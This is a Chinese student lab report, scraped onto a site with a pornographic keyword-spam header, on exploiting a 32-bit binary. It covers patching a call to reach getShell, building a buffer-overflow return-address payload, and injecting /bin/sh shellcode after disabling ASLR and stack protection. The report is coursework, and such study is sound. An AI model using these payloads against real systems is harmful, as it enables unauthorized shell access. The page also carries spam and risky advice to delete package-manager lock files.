日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

Exp1 PC平台逆向破解(5)M

發(fā)布時(shí)間:2025/5/22 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Exp1 PC平台逆向破解(5)M 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Exp1 PC平臺(tái)逆向破解(5)M

實(shí)踐內(nèi)容

  • 實(shí)踐對(duì)象是一個(gè)可執(zhí)行文件pwn1
  • 本程序的正常執(zhí)行順序應(yīng)該是main函數(shù)調(diào)用foo函數(shù),foo函數(shù)輸出用戶輸入的字符串。
  • 本程序還包含了另一個(gè)代碼片段getshell,會(huì)返回一個(gè)可用的shell值,在正常的執(zhí)行狀況中該段代碼不會(huì)被執(zhí)行,而我們此次實(shí)踐的內(nèi)容就是對(duì)可執(zhí)行文件進(jìn)行攻擊,從而讓程序執(zhí)行到此段代碼。

    實(shí)踐要求

  • 2.1掌握NOP, JNE, JE, JMP, CMP匯編指令的機(jī)器碼(0.5分)2.2掌握反匯編與十六進(jìn)制編程器 (0.5分)2.3能正確修改機(jī)器指令改變程序執(zhí)行流程(0.5分)2.4能正確構(gòu)造payload進(jìn)行bof攻擊(0.5分)

    實(shí)踐基礎(chǔ)知識(shí):

    (1)NOP指令即“空指令”(機(jī)器碼:90)。執(zhí)行到NOP指令時(shí),CPU什么也不做,僅僅當(dāng)做一個(gè)指令執(zhí)行過去并繼續(xù)執(zhí)行NOP后面的一條指令。所以NOP指令自然也會(huì)占用執(zhí)行一個(gè)指令的CPU時(shí)間片。

    (2)JNE是一個(gè)條件轉(zhuǎn)移指令(機(jī)器碼:75)。當(dāng)ZF=0,轉(zhuǎn)至標(biāo)號(hào)處執(zhí)行。

    (3)JE是一個(gè)條件轉(zhuǎn)移指令(機(jī)器碼:74)。如果相等則跳轉(zhuǎn)。

    (4)JMP是無(wú)條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short(機(jī)器碼:EB)段內(nèi)直接近轉(zhuǎn)移Jmp near(機(jī)器碼:E9)段內(nèi)間接轉(zhuǎn)移Jmp word(機(jī)器碼:FF)段間直接(遠(yuǎn))轉(zhuǎn)移Jmp far(機(jī)器碼:EA)

    (5)CMP為比較指令,功能相當(dāng)于減法指令,只是對(duì)操作數(shù)之間運(yùn)算比較,不保存結(jié)果(機(jī)器碼:39)。cmp指令執(zhí)行后,將對(duì)標(biāo)志寄存器產(chǎn)生影響。其他相關(guān)指令通過識(shí)別這些被影響的標(biāo)志寄存器位來(lái)得知比較結(jié)果。

    實(shí)踐過程

    本次實(shí)踐有三種實(shí)現(xiàn)方式

  • 手工修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉(zhuǎn)到getShell函數(shù)。
  • 利用foo函數(shù)的Bof漏洞,構(gòu)造一個(gè)攻擊輸入字符串,覆蓋返回地址,觸發(fā)getShell函數(shù)。
  • 注入一個(gè)自己制作的shellcode并運(yùn)行這段shellcode。

    手工修改可執(zhí)行文件

    再動(dòng)手之前應(yīng)該知道反匯編指令是

  • objdump -d pwn1(文件名)|more

    動(dòng)手之前應(yīng)該準(zhǔn)備好32位的執(zhí)行環(huán)境

    64位Kali無(wú)法順利執(zhí)行pwn1問題的解決方案

    開始實(shí)踐

    • 對(duì)pwn1進(jìn)行備份并將副本命名為自己學(xué)號(hào)"20155329"并用副本進(jìn)行實(shí)踐。 使用cp 命令進(jìn)行復(fù)制,例如cp pwn1 20155329
    • 對(duì)可執(zhí)行文件進(jìn)行反匯編
    objdump -d 20155329 | more


    由反匯編結(jié)果可以看出

    圖一
  • e8對(duì)應(yīng)call命令
  • e8后的綠色部分為抵用的foo函數(shù)的偏移地址。

    圖二
  • main地址是080484af、
  • foo地址是08048491、
  • getshell的地址是0804847d。

    綜上所述
    • foo函數(shù)的地址為08048291,getshellh函數(shù)的地址為0804847d,用16進(jìn)制的減法我們可以精確的算出getshell比f(wàn)oo低了14,也就在原來(lái)的基礎(chǔ)上減去14即可。而在linux環(huán)境下,采用小端存儲(chǔ)的方式,也就是說(shuō)d7為低位,就是說(shuō)將到d7減去14即可,也就是變成c3。,我們使用vim編輯器對(duì)地址進(jìn)行修改。
    • 使用vim打開可執(zhí)行文件20155329
    • 此時(shí)文本為亂碼,用“%!xxd”指令將文本轉(zhuǎn)換成16進(jìn)制文件來(lái)進(jìn)行操作。
    • **修改偏移地址后,使用“%!xxd -r”將16進(jìn)制文件轉(zhuǎn)換成原文件保存退出。

      運(yùn)行可執(zhí)行文件20155329

      通過構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流

    • 在實(shí)踐一的基礎(chǔ)上來(lái)進(jìn)行實(shí)踐二
    • 大致思路是找到返回堆棧地址,gets hell將此地址覆蓋,使程序執(zhí)行g(shù)etshell段的代碼

    使用gdb確定輸入字符串哪幾個(gè)字符會(huì)覆蓋到返回地址

    • 如果輸入字符串2015532922222222333333334444444412345678,那 4444 那四個(gè)數(shù)最終會(huì)覆蓋到堆棧上的返回地址,進(jìn)而CPU會(huì)嘗試運(yùn)行這個(gè)位置的代碼。那只要把這四個(gè)字符替換為 getShell 的內(nèi)存地址,輸給pwn1,pwn1就會(huì)運(yùn)行g(shù)etShell。
    • 在實(shí)踐一中知道getshell的地址是0804847d
    • getShell的內(nèi)存地址,在未啟用ALSR的主機(jī)上是固定不變的,通過反匯編時(shí)可以看到,即 0x804847d 。接下來(lái)要確認(rèn)下字節(jié)序,簡(jiǎn)單說(shuō)是輸入 11111111222222223333333344444444\x08\x04\x84\x7d ,還是輸入 11111111222222223333333344444444\x7d\x84\x04\x08 。
      對(duì)比之前 eip 0x34333231 0x34333231 ,正確應(yīng)用輸入11111111222222223333333344444444\x7d\x84\x04\x08。

    • 確定輸入 11111111222222223333333344444444\x7d\x84\x04\x08來(lái)覆蓋返回值。

      構(gòu)造輸入字符串

    由為我們沒法通過鍵盤輸入 \x7d\x84\x04\x08 這樣的16進(jìn)制值,所以先生成包括這樣字符串的一個(gè)文件。\x0a表示回車,如果沒有的話,在程序運(yùn)行時(shí)就需要手工按一下回車鍵。

    利用Perl構(gòu)建input文件進(jìn)行輸入,鍵入指令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

    注入Shellcode并執(zhí)行

    準(zhǔn)備一段Shellcode

    • Shellcode實(shí)際是一段代碼(也可以是填充數(shù)據(jù)),是用來(lái)發(fā)送到服務(wù)器利用特定漏洞的代碼,一般可以獲取權(quán)限。另外,Shellcode一般是作為數(shù)據(jù)發(fā)送給受攻擊服務(wù)器的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它自然就會(huì)和漏洞聯(lián)想在一起,畢竟Shellcode只對(duì)沒有打補(bǔ)丁的主機(jī)有用武之地。網(wǎng)絡(luò)上數(shù)以萬(wàn)計(jì)帶著漏洞頑強(qiáng)運(yùn)行著的服務(wù)器給hacker和Vxer豐盛的晚餐。漏洞利用中最關(guān)鍵的是Shellcode的編寫

    準(zhǔn)備工作

    execstack -s pwn1 //設(shè)置堆??蓤?zhí)行execstack -q pwn1//查詢文件的堆棧是否可執(zhí)行 X pwn1more /proc/sys/kernel/randomize_va_space 2 echo "0" > /proc/sys/kernel/randomize_va_space //關(guān)閉地址隨機(jī)化more /proc/sys/kernel/randomize_va_space 0
    • 此處可參考緩沖區(qū)溢出實(shí)驗(yàn)學(xué)習(xí)

      構(gòu)造要注入的payload。

      結(jié)構(gòu)為:nops+shellcode+retaddr。

      nop一為是了填充,二是作為“著陸區(qū)/滑行區(qū)”。

      我們猜的返回地址只要落在任何一個(gè)nop上,自然會(huì)滑到我們的shellcode。

    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode上面最后的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。我們得把它改為這段shellcode的地址。 特別提醒:最后一個(gè)字符千萬(wàn)不能是\x0a。不然下面的操作就做不了了。
    • 注意結(jié)構(gòu)
    • 接下來(lái)尋找retaddr的地址了
    1.打開一個(gè)終端注入這段攻擊buf: (cat input_shellcode;cat) | ./pwn12.再開另外一個(gè)終端,用gdb來(lái)調(diào)試pwn1這個(gè)進(jìn)程。ps -ef | grep pwn1 //查看進(jìn)程號(hào)(gdb)attach pid 3. 設(shè)置斷點(diǎn)來(lái)查看注入的buf地址(gdb) disassemble foo0x080484ae <+29>: ret //斷在這,這時(shí)注入的東西都大堆棧上了//ret完,就跳到我們覆蓋的retaddr那個(gè)地方了 End of assembler dump. (gdb) break *0x080484ae Breakpoint 1 at 0x80484ae //在另外一個(gè)終端中按下回車,這就是前面為什么不能以\x0a來(lái)結(jié)束 input_shellcode的原因。 (gdb) c Continuing.Breakpoint 1, 0x080484ae in foo () (gdb) info r esp esp 0xffffd3ac 0xffffd3ac (gdb) x/16x 0xffffd3ac

    • 此時(shí)知道我們的結(jié)構(gòu)是:anything+retaddr+nops+shellcode。
    • 所以shellcode緊挨著retaddr地址,所以shell code地址位0xffffd3ac+4 = 0xffffd3b0
    • perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode
    • 成功了
    • 實(shí)驗(yàn)中遇見的問題

      共享文件夾無(wú)法正常使用

    • 重新安裝 VMware tools

      安裝32位的運(yùn)行庫(kù)時(shí)出現(xiàn)問題

    • 問題:無(wú)法獲得鎖 /var/lib/dpkg/lock - open (11: 資源暫時(shí)不可用)
      E: 無(wú)法鎖定管理目錄(/var/lib/dpkg/),是否有其他進(jìn)程正占用它?”

    • 解決辦法:
    • sudo rm /var/cache/apt/archives/lock
    • sudo rm /var/lib/dpkg/lock

    • 問題:關(guān)于更多Shellcode的知識(shí),請(qǐng)參考Shellcode基礎(chǔ)。Shellcode基礎(chǔ)無(wú)法打開

    實(shí)驗(yàn)收獲和感想

    • 收獲:本次實(shí)驗(yàn)中學(xué)習(xí)了匯編相關(guān)知識(shí),做到了能看懂基本匯編指令,地址的運(yùn)算gdb調(diào)試。大概就是這些吧。
    • 感想,本次實(shí)驗(yàn)開始就遇見了大問題,在環(huán)境的搭建上出了好多問題,雖然都解決了,但是也花費(fèi)了大部分的時(shí)間,在裝vmtools的時(shí)候聽信了安裝一直回車,導(dǎo)致后面的共享文件夾無(wú)法使用等問題,重新安裝也是同樣的問題,重啟后又不能使用,最后還是找到一個(gè)和我遇見同樣問題的大佬,看完他的博客,去添加源,更新源,安裝之后解決了這一問題 。所以說(shuō)還是要細(xì)心細(xì)心再細(xì)心才能減少之后的麻煩。

      什么是漏洞?漏洞有什么危害?

    • 什么是漏洞

      - 漏洞是設(shè)計(jì)人員在設(shè)計(jì)過程中遺留下來(lái) 的一些缺陷,往往被不法分子利用,進(jìn) 行攻擊。所以一個(gè)程序越大,可能出現(xiàn)的漏洞就越多。
    • 漏洞有什么危害
      • 漏洞往往被不法分子利用,攻擊用戶計(jì)算機(jī),非法獲取,篡改,刪除數(shù)據(jù)。反正就是做一些損人利己的事情,甚至損人不利己的事。

    轉(zhuǎn)載于:https://www.cnblogs.com/hpl20155329/p/8533295.html

    總結(jié)

    以上是生活随笔為你收集整理的Exp1 PC平台逆向破解(5)M的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。